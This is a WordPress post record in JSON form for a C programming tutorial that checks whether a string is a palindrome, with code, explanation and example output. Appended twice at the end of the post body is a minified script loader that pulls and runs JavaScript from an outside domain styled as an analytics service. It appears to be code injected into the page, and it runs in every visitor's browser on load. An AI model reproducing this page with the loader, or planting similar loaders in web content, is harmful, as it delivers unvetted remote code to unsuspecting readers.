{"id":1037,"date":"2024-10-16T15:28:23","date_gmt":"2024-10-16T09:58:23","guid":{"rendered":"https:\/\/codexplained.in\/?p=1037"},"modified":"2025-11-24T15:41:05","modified_gmt":"2025-11-24T10:11:05","slug":"check-palindrome-of-a-string","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1037","title":{"rendered":"Check Palindrome of a String"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>A <strong>palindrome<\/strong> is a word, phrase, number, or other sequences of characters that reads the same forward and backward (ignoring spaces, punctuation, and capitalization). Examples include &#8220;radar&#8221;, &#8220;level&#8221;, and &#8220;madam&#8221;. This C program checks if a given string is a palindrome.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;ctype.h&gt;\n\n#define MAX_LENGTH 100\n\nint isPalindrome(char str&#x5B;]) {\n    int left = 0;\n    int right = strlen(str) - 1;\n\n    while (left &lt; right) {\n        \/\/ Ignore non-alphanumeric characters\n        while (left &lt; right &amp;&amp; !isalnum(str&#x5B;left])) {\n            left++;\n        }\n        while (left &lt; right &amp;&amp; !isalnum(str&#x5B;right])) {\n            right--;\n        }\n\n        \/\/ Compare characters, case insensitive\n        if (tolower(str&#x5B;left]) != tolower(str&#x5B;right])) {\n            return 0; \/\/ Not a palindrome\n        }\n        left++;\n        right--;\n    }\n    return 1; \/\/ Is a palindrome\n}\n\nint main() {\n    char str&#x5B;MAX_LENGTH];\n\n    printf(&quot;Enter a string: &quot;);\n    fgets(str, MAX_LENGTH, stdin);\n    \n    \/\/ Remove the newline character if present\n    str&#x5B;strcspn(str, &quot;\\n&quot;)] = &#039;\\0&#039;;\n\n    if (isPalindrome(str)) {\n        printf(&quot;&#039;%s&#039; is a palindrome.\\n&quot;, str);\n    } else {\n        printf(&quot;&#039;%s&#039; is not a palindrome.\\n&quot;, str);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Libraries Used<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>stdio.h<\/code>: For standard input\/output functions.<\/li>\n\n\n\n<li><code>string.h<\/code>: For string manipulation functions.<\/li>\n\n\n\n<li><code>ctype.h<\/code>: For character handling functions like <code>tolower()<\/code> and <code>isalnum()<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function <code>isPalindrome<\/code><\/strong>:\n<ul class=\"wp-block-list\">\n<li>Takes a string as input and initializes two pointers: <code>left<\/code> at the start and <code>right<\/code> at the end of the string.<\/li>\n\n\n\n<li>It uses a loop to compare characters from both ends, ignoring non-alphanumeric characters and comparing them in a case-insensitive manner.<\/li>\n\n\n\n<li>If characters do not match, it returns <code>0<\/code> (not a palindrome); if all characters match, it returns <code>1<\/code> (is a palindrome).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Prompts the user to enter a string.<\/li>\n\n\n\n<li>Uses <code>fgets<\/code> to read the string, allowing spaces.<\/li>\n\n\n\n<li>Removes the newline character that <code>fgets<\/code> might include.<\/li>\n\n\n\n<li>Calls <code>isPalindrome<\/code> to check and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input\/Output<\/h3>\n\n\n\n<p><strong>Input Example<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter a string: A man, a plan, a canal: Panama<br><\/code><\/pre>\n\n\n\n<p><strong>Output Example<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>'A man, a plan, a canal: Panama' is a palindrome.<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively checks if a given string is a palindrome by comparing characters from both ends while ignoring spaces, punctuation, and capitalization. It showcases basic string manipulation and control flow in C. The program can be easily modified to enhance functionality, such as handling more complex input or providing detailed error messages.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction A palindrome is a word, phrase, number, or other sequences of characters that reads the same forward and backward (ignoring spaces, punctuation, and capitalization). Examples include &#8220;radar&#8221;, &#8220;level&#8221;, and &#8220;madam&#8221;. This C program checks if a given string is a palindrome. Explanation Input\/Output Input Example: Enter a string: A man, a plan, a canal: [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":809,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1037","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1037"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1037\/revisions"}],"predecessor-version":[{"id":1417,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1037\/revisions\/1417"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/809"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}